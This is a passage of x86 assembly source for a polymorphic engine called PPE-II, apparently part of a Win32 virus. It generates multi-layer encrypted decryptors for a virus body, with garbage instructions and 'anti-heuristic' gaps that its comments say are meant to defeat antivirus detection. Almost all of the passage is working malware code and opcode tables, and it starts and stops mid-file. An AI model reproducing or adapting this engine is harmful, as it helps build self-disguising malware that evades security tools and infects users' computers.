|
||
mov ax,0C081h
|
||
or ah,byte ptr [ebp+gl_index_reg]
|
||
stosw
|
||
pop eax
|
||
neg eax
|
||
jmp __ppe_gd_fix_done
|
||
|
||
; fix with SUB --> sub reg32, -fix_value
|
||
__ppe_gd_sub:
|
||
mov ax,0E881h
|
||
or ah,byte ptr [ebp+gl_index_reg]
|
||
stosw
|
||
pop eax
|
||
|
||
__ppe_gd_fix_done:
|
||
stosd
|
||
|
||
mov [esp],edi
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ generate layer gaps (anti-heuristic) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function adds some gaps in multi-layers buffer. What
|
||
;does it mean, gaps ? So, you will generate layers map by
|
||
;"ppe_mlayer_generate" function. There are only movements
|
||
;and AV can find that buffer and do all alone, but here I
|
||
;will generate some gaps, and when my poly find certain
|
||
;offset in that buffer, i'll add some value = anti-heuris-
|
||
;tic. All is hiden by "ppe_crypt_value" as well.
|
||
;
|
||
;Behaviour:
|
||
; * get number of gaps
|
||
; * generate their position and size in layer buffer
|
||
; * run "bubble sort" algorithm
|
||
; * do gaps in buffer (generate random movement)
|
||
; * change positions
|
||
;
|
||
__pglg_num dd 00000000h ;number of gaps
|
||
__pglg_where dd 8 dup(0,0) ;gaps, their size
|
||
;
|
||
ppe_get_layer_gaps:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; negate all movements
|
||
mov ecx,[ebp+__mlg_size] ;number of movements
|
||
mov esi,[ebp+__mlg_map]
|
||
__pglg_negate:
|
||
mov ah,[esi]
|
||
btc ax,15 ;negate 7th bit
|
||
mov [esi],ah
|
||
inc esi
|
||
loop __pglg_negate
|
||
|
||
; exchange all movements (from end 2 start)
|
||
mov ecx,[ebp+__mlg_size]
|
||
mov esi,[ebp+__mlg_map]
|
||
__pglg_exchange:
|
||
mov al,[esi+ecx-1]
|
||
xchg al,[esi]
|
||
mov [esi+ecx-1],al
|
||
dec ecx
|
||
dec ecx
|
||
inc esi
|
||
cmp ecx,00000002h
|
||
jae __pglg_exchange
|
||
|
||
; generate random gaps
|
||
mov eax,00000009h ;number of gaps - 1
|
||
call ppe_get_rnd_range
|
||
mov [ebp+__pglg_num],eax ;actual gaps
|
||
or eax,eax ;no gaps ?
|
||
jz __pglg_finish
|
||
mov edx,eax
|
||
|
||
__pglg_next_gap:
|
||
mov eax,[ebp+__mlg_size] ;memory buffer size
|
||
call ppe_get_rnd_range
|
||
or eax,eax ;don't support 1st place
|
||
jz __pglg_next_gap
|
||
mov [ebp+__pglg_where+edx*8-8],eax ;save position
|
||
mov eax,00000010h ;<0,10h) gap
|
||
call ppe_get_rnd_range
|
||
inc eax ;this was fucking bug
|
||
mov [ebp+__pglg_where+edx*8-4],eax ;and its size
|
||
dec edx ;next gap
|
||
jnz __pglg_next_gap
|
||
cmp [ebp+__pglg_num],00000001h
|
||
jz __pglg_moving
|
||
|
||
; use "bubble sort"
|
||
mov ebx,[ebp+__pglg_num] ;for(x=7;x<=1;x--)
|
||
mov ecx,ebx ;for(y=8-x;y<=1;y--)
|
||
dec ecx ;if(p[y]>p[y-1]){
|
||
__pglg_bagain: ;x=p[y+1];p[y+1]=p[y]
|
||
mov edx,ebx ;p[y]=x}
|
||
sub edx,ecx
|
||
__pglg_bnext: ;...and it's all :)
|
||
mov eax,[ebp+__pglg_where+edx*8]
|
||
cmp eax,[ebp+__pglg_where+edx*8-8]
|
||
ja __pglg_bno_change
|
||
xchg eax,[ebp+__pglg_where+edx*8-8]
|
||
mov [ebp+__pglg_where+edx*8],eax
|
||
__pglg_bno_change:
|
||
dec edx
|
||
jnz __pglg_bnext
|
||
dec ecx
|
||
jnz __pglg_bagain
|
||
|
||
; it's time to do some place in the buffer
|
||
__pglg_moving:
|
||
mov edx,[ebp+__pglg_num] ;number of gaps
|
||
__pglg_next_moving:
|
||
mov ecx,[ebp+__mlg_size] ;buffer's size
|
||
mov esi,[ebp+__pglg_where+edx*8-8] ;position
|
||
sub ecx,esi
|
||
add esi,[ebp+__mlg_map] ;memory layers map
|
||
mov edi,[ebp+__pglg_where+edx*8-4] ;gap size
|
||
add ecx,edi
|
||
add edi,esi ;destination place
|
||
push esi
|
||
call __movsd_back
|
||
mov ecx,[ebp+__pglg_where+edx*8-4]
|
||
pop edi ;do some random movement
|
||
push ecx
|
||
mov bl,[edi] ;get last bit (+/-) ?
|
||
__pglg_generate:
|
||
call ppe_get_rnd32 ;generate that...
|
||
bt bx,7 ;to (C)arry
|
||
jc __pglg_2nd
|
||
and al,01111111b
|
||
jmp __pglg_1st
|
||
__pglg_2nd:
|
||
or al,10000000b ;set last bit
|
||
__pglg_1st:
|
||
stosb ;...and store one
|
||
loop __pglg_generate
|
||
pop ecx
|
||
|
||
; well, build next anti-heuristic...
|
||
add [ebp+__mlg_size],ecx ; + gap size
|
||
dec edx
|
||
jnz __pglg_next_moving
|
||
|
||
; change positions
|
||
xor eax,eax
|
||
__pglg_cpos:
|
||
mov ebx,[ebp+__pglg_num] ;this was last fucking bug,
|
||
dec ebx ;belive me, it's needless
|
||
cmp edx,ebx ;to explain something :)
|
||
jz __pglg_finish
|
||
inc edx
|
||
add eax,[ebp+__pglg_where+edx*8-4]
|
||
add [ebp+__pglg_where+edx*8],eax
|
||
jmp __pglg_cpos
|
||
|
||
__pglg_finish:
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ generate code to set index for decode-loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function gets start of virus body to reg32.
|
||
;
|
||
ppe_get_index:
|
||
|
||
; save all registers
|
||
pusha
|
||
call gen_garbage
|
||
|
||
; crypt a start of decoding
|
||
mov al,[ebp+index_reg]
|
||
movzx ebx,al
|
||
call __reg_to_bcd
|
||
or [ebp+used_regs],ah
|
||
mov eax,-1 ;start of decoding...
|
||
call ppe_crypt_value ;go !
|
||
lea ebx,[ebp+tbl_regs+ebx*02h]
|
||
call __copro_fix_delta
|
||
|
||
; go back
|
||
mov [esp],edi
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ generate layer pointer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function generates pointer to a layers memory map.
|
||
;
|
||
;
|
||
__pglp_old_val dd 00000000h ;old random value
|
||
__pglp_ov_where dd 00000000h ;pointer to update
|
||
;
|
||
ppe_get_layer_pointer:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; generate random pointer for layers map
|
||
call gen_garbage
|
||
call ppe_get_rnd32
|
||
mov [ebp+__pglp_old_val],eax
|
||
mov bl,[ebp+mlayer_reg]
|
||
call ppe_crypt_value
|
||
mov al,[ebp+mlayer_reg]
|
||
call __reg_to_bcd
|
||
or [ebp+used_regs],ah
|
||
or al,0C0h ;ADD instruction
|
||
mov ah,81h
|
||
xchg ah,al
|
||
stosw
|
||
mov [ebp+__pglp_ov_where],edi
|
||
stosd
|
||
mov al,03h ;ADD instruction
|
||
mov ah,byte ptr [ebp+mlayer_reg]
|
||
shl ah,3
|
||
or ah,byte ptr [ebp+gl_index_reg]
|
||
or ah,0C0h
|
||
stosw
|
||
call gen_garbage
|
||
|
||
; restore registers
|
||
mov [esp],edi
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ function to build brute-multi-layer-poly decoder ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function generates the very perfect decryptor.
|
||
;Scheme:
|
||
;
|
||
; @@1: ROR code_reg, 01h
|
||
; (ADD,SUB,XOR) [index_reg], code_reg
|
||
; DEC index_reg
|
||
; TEST [mlayer_reg], 80h
|
||
; JNZ @@2
|
||
; INC index_reg
|
||
; INC index_reg
|
||
; @@2: DEC byte ptr [mlayer_reg]
|
||
; TEST [mlayer_reg], 7Fh
|
||
; JNZ @@1
|
||
; TEST BYTE PTR [mlayer_reg],80h
|
||
; JNZ @@3
|
||
; TEST BYTE PTR [mlayer_reg+1],80H
|
||
; JZ @@4
|
||
; DEC index_reg
|
||
; JMP @@4
|
||
; @@3: TEST BYTE PTR [mlayer_reg+1],80H
|
||
; JNZ @@4
|
||
; INC index_reg
|
||
; @@4:
|
||
;
|
||
;And it is whole decryptor, very easy to understand... :)
|
||
;
|
||
ppe_decoder:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; build sado-maso decoder :)
|
||
push edi ;"go back" offset
|
||
mov [ebp+decoder_back],edi
|
||
call gen_garbage
|
||
|
||
; rotate by code_reg
|
||
mov ax,0C8D1h ;ROR code_reg, 01h
|
||
or ah,[ebp+code_reg]
|
||
stosw
|
||
call gen_garbage
|
||
|
||
; select type of coding (ADD, SUB, XOR) ?
|
||
mov al,00h ;ADD instruction
|
||
cmp byte ptr [ebp+crypt_style],02h
|
||
jz __pd_xor
|
||
cmp byte ptr [ebp+crypt_style],01h
|
||
jnz __pd_select_regs
|
||
mov al,28h ;SUB instruction
|
||
jmp __pd_select_regs
|
||
__pd_xor:
|
||
mov al,30h ;XOR instruction
|
||
__pd_select_regs:
|
||
mov ah,[ebp+code_reg] ;code register
|
||
shl ah,03h
|
||
or ah,[ebp+index_reg] ;index register
|
||
stosw
|
||
call gen_garbage
|
||
|
||
; change index register
|
||
mov al,48h ;DEC instruction
|
||
or al,[ebp+index_reg] ;index register
|
||
stosb
|
||
call gen_garbage
|
||
|
||
; move down or up ? (+/-) flag
|
||
mov ax,00F6h ;TEST byte [mlayer_reg],80h
|
||
or ah,[ebp+mlayer_reg]
|
||
stosw
|
||
mov al,80h ;test last byte
|
||
stosb
|
||
call gen_garbage_no_flags
|
||
|
||
; build JNZ conditional jump (jump if DOWN)
|
||
mov ax,850Fh ;JNZ instruction
|
||
stosw
|
||
push edi
|
||
stosd ;do place
|
||
call gen_garbage
|
||
mov al,40h ;INC index register
|
||
or al,[ebp+index_reg]
|
||
stosb
|
||
call gen_garbage
|
||
stosb
|
||
call gen_garbage
|
||
pop ebx ;JNZ offset
|
||
call gen_garbage
|
||
mov eax,edi ;build JNZ offset
|
||
sub eax,ebx
|
||
sub eax,4
|
||
mov [ebx],eax
|
||
|
||
; decrease number of movements in layer buffer
|
||
mov ax,08FEh ;DEC byte ptr [---]
|
||
or ah,[ebp+mlayer_reg]
|
||
stosw
|
||
call gen_garbage
|
||
|
||
; test whether it was last coding, if yes, next movement
|
||
mov ax,00F6h ;TEST byte [mlayer_reg],7Fh
|
||
or ah,[ebp+mlayer_reg]
|
||
stosw
|
||
mov al,7Fh ;test "x0000000b" status
|
||
stosb
|
||
call gen_garbage_no_flags
|
||
|
||
; build next conditional JNZ jump
|
||
mov ax,850Fh ;JNZ instruction
|
||
stosw
|
||
pop eax
|
||
sub eax,edi
|
||
sub eax,4
|
||
stosd
|
||
call gen_garbage
|
||
|
||
; generate a lot of TEST instructions and JNZ/JZ cond. jumps
|
||
mov ax,00F6h ;TEST byte [mlayer_reg],80h
|
||
or ah,[ebp+mlayer_reg]
|
||
stosw
|
||
mov al,80h
|
||
stosb
|
||
call gen_garbage_no_flags
|
||
mov ax,850Fh ;JNZ instruction
|
||
stosw
|
||
push edi
|
||
stosd ;update later
|
||
call gen_garbage
|
||
mov ax,40F6h ;TEST byte [mlayer_reg+1],80h
|
||
or ah,[ebp+mlayer_reg]
|
||
stosw
|
||
mov ax,8001h
|
||
stosw
|
||
call gen_garbage_no_flags
|
||
mov ax,840Fh ;JZ instruction
|
||
stosw
|
||
push edi
|
||
stosd
|
||
call gen_garbage
|
||
mov al,48h ;DEC instruction
|
||
or al,[ebp+index_reg]
|
||
stosb
|
||
call gen_garbage
|
||
mov al,0E9h ;JMP instruction
|
||
stosb
|
||
push edi
|
||
stosd
|
||
call gen_garbage
|
||
mov ebx,[esp+00000008h] ;@@3 update address
|
||
mov eax,edi
|
||
sub eax,ebx
|
||
sub eax,00000004h
|
||
mov [ebx],eax
|
||
mov ax,40F6h ;TEST byte [mlayer_reg+1],80h
|
||
or ah,[ebp+mlayer_reg]
|
||
stosw
|
||
mov ax,8001h
|
||
stosw
|
||
call gen_garbage_no_flags
|
||
mov ax,850Fh ;JNZ instruction
|
||
stosw
|
||
mov [esp+00000008h],edi
|
||
stosd
|
||
call gen_garbage
|
||
mov al,40h ;INC instruction
|
||
or al,[ebp+index_reg]
|
||
stosb
|
||
call gen_garbage
|
||
mov ecx,00000003h
|
||
__pd_update_cjumps:
|
||
pop ebx ;get @@4 conditional jump
|
||
mov eax,edi
|
||
sub eax,ebx
|
||
sub eax,00000004h
|
||
mov [ebx],eax
|
||
loop __pd_update_cjumps
|
||
|
||
; restore all registers
|
||
mov [esp],edi
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ generate next code value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function updates code value by code_value_add.
|
||
;
|
||
|
||
ppe_get_next_code:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; calculate next code value
|
||
mov ax,0C081h ;ADD code_reg,code_value_add
|
||
or ah,[ebp+code_reg]
|
||
stosw
|
||
mov eax,[ebp+code_value_add]
|
||
stosd
|
||
call gen_garbage
|
||
|
||
; restore all registers
|
||
mov [esp],edi ;update EDI through POPA
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ function to check multi-layers gaps ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function checks whether pointer is in gap (anti-heu-
|
||
;stistic). If it's on that place then i'll change pointer.
|
||
;
|
||
__pgnlp_old dd 8 dup(0,0) ;old random numbers
|
||
;
|
||
ppe_get_next_layer_pointer:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; increase multi-layer pointer
|
||
call gen_garbage
|
||
mov al,40h ;INC instruction
|
||
or al,[ebp+mlayer_reg]
|
||
stosb
|
||
call gen_garbage
|
||
|
||
; generate some random numbers
|
||
mov ecx,[ebp+__pglg_num] ;number of gaps
|
||
or ecx,ecx ;no gaps ?
|
||
jz __pgnlp_finish
|
||
__pgnlp_get_nums:
|
||
call ppe_get_empty_reg
|
||
mov bl,al ;empty reg to BL
|
||
call ppe_get_rnd32
|
||
mov [ebp+__pgnlp_old+ecx*8-8],eax
|
||
call ppe_crypt_value
|
||
mov ax,0C081h ;ADD instruction
|
||
or ah,bl
|
||
stosw
|
||
mov [ebp+__pgnlp_old+ecx*8-4],edi ;save pos.
|
||
stosd
|
||
mov al,03h ;ADD instruction
|
||
mov ah,bl
|
||
shl ah,3
|
||
or ah,byte ptr [ebp+gl_index_reg]
|
||
or ah,0C0h
|
||
stosw
|
||
mov ax,0C03Bh ;CMP instruction
|
||
shl bl,3 ;empty reg << 3
|
||
or ah,bl
|
||
or ah,[ebp+mlayer_reg]
|
||
stosw
|
||
call gen_garbage_no_flags
|
||
mov ax,850Fh ;JNZ conditional jump
|
||
stosw
|
||
push edi
|
||
stosd
|
||
call gen_garbage
|
||
mov ax,0C081h ;ADD instruction
|
||
or ah,[ebp+mlayer_reg]
|
||
stosw
|
||
mov eax,[ebp+__pglg_num] ;number of gaps
|
||
sub eax,ecx
|
||
mov eax,[ebp+__pglg_where+eax*8+4]
|
||
stosd
|
||
call gen_garbage
|
||
pop eax
|
||
mov ebx,edi ;calculate JNZ offset
|
||
sub ebx,eax
|
||
sub ebx,4
|
||
mov [eax],ebx
|
||
dec ecx
|
||
jnz __pgnlp_get_nums
|
||
call gen_garbage
|
||
|
||
__pgnlp_finish:
|
||
mov [esp],edi
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ function to generate decoder-loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function generates last JNZ jump to the start of de-
|
||
;coder loop.
|
||
;
|
||
__pge_where dd 00000000h ;place to update
|
||
;
|
||
ppe_get_exloop:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; build main compare instruction
|
||
call gen_garbage
|
||
call ppe_get_empty_reg
|
||
call __reg_to_bcd
|
||
or [ebp+used_regs],ah
|
||
mov bl,al
|
||
mov eax,[ebp+__mlg_size] ;size of the layers buf
|
||
call ppe_crypt_value
|
||
call gen_garbage
|
||
mov ah,bl ;dest reg
|
||
shl ah,03h
|
||
or ah,[ebp+gl_index_reg]
|
||
or ah,0C0h
|
||
mov al,03h ;ADD
|
||
stosw
|
||
call gen_garbage
|
||
mov ax,0C081h ;ADD
|
||
or ah,bl
|
||
stosw
|
||
mov [ebp+__pge_where],edi
|
||
stosd
|
||
call gen_garbage
|
||
mov ah,bl
|
||
shl ah,03h
|
||
or ah,[ebp+mlayer_reg]
|
||
or ah,0C0h
|
||
mov al,3Bh ;CMP instruction
|
||
stosw
|
||
mov al,bl
|
||
call __reg_to_bcd
|
||
not ax
|
||
and [ebp+used_regs],ah ;disbale register
|
||
call gen_garbage_no_flags
|
||
mov ax,850Fh ;JNZ instruction
|
||
stosw
|
||
mov eax,[ebp+decoder_back] ;build JNZ offset
|
||
sub eax,edi
|
||
sub eax,4
|
||
stosd
|
||
call gen_garbage
|
||
|
||
; restore all registers
|
||
mov [esp],edi
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ function to jump to 3rd decoding loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function checks whether virus body has been decrypt-
|
||
;ed by multi-layers engine and then jumps to the 3rd deco-
|
||
;ding loop to finish that work :).
|
||
;
|
||
ppe_get_return:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; save used-regs
|
||
movzx eax,byte ptr [ebp+gl_index_reg]
|
||
call __reg_to_bcd
|
||
mov [ebp+used_regs],ah
|
||
|
||
; generate offset to jump back
|
||
call gen_garbage
|
||
xor eax,eax
|
||
mov ebx,[ebp+file_size3]
|
||
sub ebx,eax
|
||
push ebx
|
||
|
||
; ready to JMP there
|
||
call ppe_get_empty_reg
|
||
pop eax
|
||
dec eax
|
||
not eax
|
||
call c_call_reg32 ;edi-2 = call reg32 instr
|
||
mov eax,[ebp+g_cr32_jump]
|
||
add byte ptr [eax-1],10h ;CALL reg32 --> JMP reg32
|
||
|
||
; generate final garbages
|
||
mov eax,00000005h
|
||
call ppe_get_rnd_range
|
||
add eax,00000005h
|
||
mov ecx,eax
|
||
__pgr_final:
|
||
call gen_garbage
|
||
loop __pgr_final
|
||
|
||
; restore all registers
|
||
mov [esp],edi
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ function to create multi-layer buffer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function builds multi-layers buffer behind our poly-
|
||
;morphic code.
|
||
;
|
||
ppe_get_mlayer_buffer:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; copy buffer from memory to EDI
|
||
push edi ;start of memory layer buf
|
||
mov esi,[ebp+__mlg_map] ;layers in memory
|
||
mov ecx,[ebp+__mlg_size] ;size of the buffer
|
||
rep movsb
|
||
|
||
; generate some last garbages
|
||
mov eax,00000005h
|
||
call ppe_get_rnd_range
|
||
add eax,00000005h
|
||
__pgmb_generate:
|
||
call gen_garbage
|
||
dec eax
|
||
jnz __pgmb_generate
|
||
|
||
; update multi-layer pointer in "ppe_get_layer_pointer"
|
||
pop ebx ;start of mem layers buffers
|
||
sub ebx,[ebp+poly_start] ;EAX - poly_start = pos
|
||
mov eax,ebx
|
||
sub eax,[ebp+__pglp_old_val]
|
||
mov edx,[ebp+__pglp_ov_where]
|
||
mov [edx],eax
|
||
|
||
; update multi-layer pointer in "ppe_get_exloop"
|
||
mov edx,[ebp+__pge_where]
|
||
mov [edx],ebx
|
||
|
||
; update multi-layer pointers in "ppe_get_next_layer_pointer"
|
||
mov esi,[ebp+__pglg_num]
|
||
xor ecx,ecx
|
||
or esi,esi ;no gaps ?
|
||
jz __pgmb_finish
|
||
__pgmb_next_change:
|
||
inc ecx
|
||
mov eax,ebx
|
||
add eax,[ebp+__pglg_where+ecx*8-8];where is the gap
|
||
sub eax,[ebp+__pgnlp_old+esi*8-8] ;get random number
|
||
mov edx,[ebp+__pgnlp_old+esi*8-4] ;position
|
||
mov [edx],eax
|
||
dec esi
|
||
cmp [ebp+__pglg_num],ecx
|
||
jnz __pgmb_next_change
|
||
|
||
; restore all registers
|
||
__pgmb_finish:
|
||
mov [esp],edi
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ function for write insignificant data ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
ppe_gen_rnd_block:
|
||
mov eax,00000014h
|
||
call ppe_get_rnd_range
|
||
add eax,00000005h
|
||
mov ecx,eax
|
||
|
||
ppe_gen_rnd_fill:
|
||
cld
|
||
movzx eax,byte ptr [ebp+compare_index]
|
||
cmp eax,00000005h
|
||
jae ppe_gen_rnd_loop
|
||
push ebx
|
||
mov ebx,eax
|
||
mov eax,ecx
|
||
sub eax,00000004h ;far JMP's five bytes - 1
|
||
call ppe_get_rnd_range
|
||
add eax,edi
|
||
sub eax,[ebp+poly_start]
|
||
mov [ebp+compare_buffer+ebx*04h],eax
|
||
inc byte ptr [ebp+compare_index]
|
||
pop ebx
|
||
ppe_gen_rnd_loop:
|
||
call ppe_get_rnd32
|
||
stosb
|
||
loop ppe_gen_rnd_loop
|
||
ret
|
||
|
||
;ÄÄÄ´ functions returns (empty) base reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
ppe_get_reg: mov eax,00000008h
|
||
call ppe_get_rnd_range
|
||
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
|
||
ret
|
||
|
||
ppe_get_empty_reg:
|
||
call ppe_get_reg
|
||
test byte ptr [ebx+REG_FLAGS],REG_IS_STACK
|
||
jnz ppe_get_empty_reg
|
||
call __reg_to_bcd
|
||
test [ebp+used_regs],ah
|
||
jnz ppe_get_empty_reg
|
||
movzx ax,al
|
||
ret
|
||
|
||
__reg_to_bcd:
|
||
push ebx
|
||
movzx ebx,al
|
||
movzx ebx,byte ptr [ebp+tbl_regs_bcd+ebx]
|
||
mov ah,bl
|
||
pop ebx
|
||
ret
|
||
|
||
;ÄÄÄ´ random numbers ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
ppe_get_rnd32:
|
||
push ebx ecx edx ;my special algorithm to
|
||
mov eax,[ebp+poly_seed] ;calculate a random number
|
||
mov ecx,41C64E6Dh ;for Win32
|
||
mul ecx
|
||
xchg eax,ecx
|
||
call [ebp+ddGetTickCount]
|
||
mov ebx,eax
|
||
db 0Fh, 31h ;RDTCS instruction - read
|
||
xor eax,ebx
|
||
xchg ecx,eax ;PCs ticks to EDX:EAX
|
||
mul ecx
|
||
add eax,00003039h
|
||
mov [ebp+poly_seed],eax
|
||
pop edx ecx ebx
|
||
ret
|
||
|
||
ppe_get_rnd_range:
|
||
push ecx edx
|
||
mov ecx,eax
|
||
call ppe_get_rnd32
|
||
xor edx,edx
|
||
div ecx
|
||
mov eax,edx
|
||
pop edx ecx
|
||
ret
|
||
|
||
;ÄÄÄ´ polymorphic tables (PPE-II) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; some equ's needed by Prizzy Polymorphic Engine (PPE-II)
|
||
|
||
REG_NO_8BIT equ 1 ;esi,edi,ebp aren't 8bit
|
||
REG_IS_STACK equ 2 ;reg is stack because of copro
|
||
REG_FLAGS equ 1 ;one byte to set tbl_regs' flags
|
||
USED_MEMORY equ 30 ;we must be far then 30 bytes in poly
|
||
USED_BASED equ 1 ;don't generate copro
|
||
USED_FLAGS equ 2 ;generated garbages can't modify flags
|
||
|
||
; table of registers
|
||
; DO NOT modify this table or the next because they're
|
||
; dependent on - because of tranfer to reg_bcd
|
||
|
||
tbl_regs equ this byte
|
||
db 00000000b,00h ;eax
|
||
db 00000001b,00h ;ecx
|
||
db 00000010b,00h ;edx
|
||
db 00000011b,00h ;ebx
|
||
db 00000100b,REG_IS_STACK ;esp
|
||
db 00000101b,REG_NO_8BIT ;ebp
|
||
db 00000110b,REG_NO_8BIT ;esi
|
||
db 00000111b,REG_NO_8BIT ;edi
|
||
end_regs equ this byte
|
||
|
||
; table for use registers, DO NOT modify or move
|
||
|
||
tbl_regs_bcd equ this byte
|
||
db 00000001b ;eax, st(0)
|
||
db 00000010b ;ecx, st(1)
|
||
db 00000100b ;edx, st(2)
|
||
db 00001000b ;ebx, st(3)
|
||
db 00010000b ;esp, st(4)
|
||
db 00100000b ;ebp, st(5)
|
||
db 01000000b ;esi, st(4)
|
||
db 10000000b ;edi, st(7)
|
||
end_regs_bcd equ this byte
|
||
|
||
; opcodes for math reg,imm
|
||
|
||
tbl_math_imm equ this byte
|
||
db 0C0h ;add
|
||
db 0C8h ;or
|
||
db 0E0h ;and
|
||
db 0E8h ;sub
|
||
db 0F0h ;xor
|
||
db 0D0h ;adc
|
||
db 0D8h ;sbb
|
||
end_math_imm equ this byte
|
||
|
||
; opcodes for math reg,reg
|
||
|
||
tbl_math_reg equ this byte
|
||
db 03h ;add
|
||
db 0Bh ;or
|
||
db 13h ;adc
|
||
db 1Bh ;sbb
|
||
db 23h ;and
|
||
db 2Bh ;sub
|
||
db 33h ;xor
|
||
end_math_reg equ this byte
|
||
|
||
; one byte instructions that doesn't modify reg
|
||
|
||
tbl_save_code equ this byte
|
||
clc
|
||
stc
|
||
cmc
|
||
cld
|
||
std
|
||
end_save_code equ this byte
|
||
|
||
; opcodes for rotate/shift reg,imm
|
||
|
||
tbl_rs_imm equ this byte
|
||
db 0C0h ;rol
|
||
db 0C8h ;ror
|
||
db 0D0h ;rcl
|
||
db 0D8h ;rcr
|
||
db 0E0h ;shl
|
||
db 0E8h ;shr
|
||
db 0F8h ;sar
|
||
end_rs_imm equ this byte
|
||
|
||
; opcodes for bit tests reg,imm
|
||
|
||
tbl_bt_imm equ this byte
|
||
db 0E0h, 0E8h, 0F0h, 0F8h ;bt, bts, btr, btc
|
||
end_bt_imm equ this byte
|
||
|
||
; opcodes for bit tests reg,reg
|
||
|
||
tbl_bt_reg equ this byte
|
||
db 0A3h, 0ABh, 0B3h, 0BBh ;bt, bts, btr btc
|
||
end_bt_reg equ this byte
|
||
|
||
; opcodes for generate defined number
|
||
; decode_instruction = encode_instruction + 1st_number
|
||
; reg32 = 2nd_number + defined_reg32
|
||
; immX = 3rd_number * 8
|
||
|
||
tbl_num_code equ this byte
|
||
db 003h,081h,0C0h,04h ;add (reg32), imm32
|
||
db 0FBh,081h,0E8h,04h ;sub (reg32), imm32
|
||
db 0FFh,081h,0F0h,04h ;xor (reg32), imm32
|
||
db 003h,0C1h,0C0h,01h ;rol (reg32), imm8
|
||
db 0FBh,0C1h,0C8h,01h ;ror (reg32), imm8
|
||
db 0FFh,0F7h,0D0h,00h ;not (reg32)
|
||
end_num_code equ this byte
|
||
|
||
; table of rep/repnz operations
|
||
|
||
tbl_repeat equ this byte
|
||
dd offset __gr_cmps ;compare mem operand
|
||
dd offset __gr_lods ;load mem operand
|
||
dd offset __gr_stos ;store mem data
|
||
dd offset __gr_scas ;scan mem
|
||
dd offset __gr_movs ;move data from mem to mem
|
||
end_repeat equ this byte
|
||
|
||
; table of the second encode-loop
|
||
; the first value means - count
|
||
; the second value means - random select ?
|
||
; the third value means - already generated ?
|
||
|
||
tbl_encode_loop equ this byte
|
||
db 05h, 01h
|
||
dd 00000000h, offset ppe_lloop_generate
|
||
dd 00000000h, offset ppe_mlayer_generate
|
||
dd 00000000h, offset ppe_brute_init
|
||
dd 00000000h, offset ppe_get_delta
|
||
dd 00000000h, offset ppe_get_layer_gaps
|
||
db 02h, 00h
|
||
dd 00000000h, offset ppe_get_index
|
||
dd 00000000h, offset ppe_get_layer_pointer
|
||
db 01h, 01h
|
||
dd 00000000h, offset ppe_decoder
|
||
db 02h, 00h
|
||
dd 00000000h, offset ppe_get_next_code
|
||
dd 00000000h, offset ppe_get_next_layer_pointer
|
||
db 03h, 01h
|
||
dd 00000000h, offset ppe_get_exloop
|
||
dd 00000000h, offset ppe_get_return
|
||
dd 00000000h, offset ppe_get_mlayer_buffer
|
||
end_encode_loop equ this byte
|
||
|
||
; table of the instructions which they don't modify flags
|
||
; 1st value = move to original instructions
|
||
; 2nd value = how many garbages don't modify flags
|
||
|
||
tbl_no_flags equ this byte
|
||
db 06h, (__no_flags_1 - tbl_garbage) / 04h
|
||
db 06h, (__no_flags_2 - tbl_garbage) / 04h
|
||
end_no_flags equ this byte
|
||
|
||
; hyper table of garbages (support only copro)
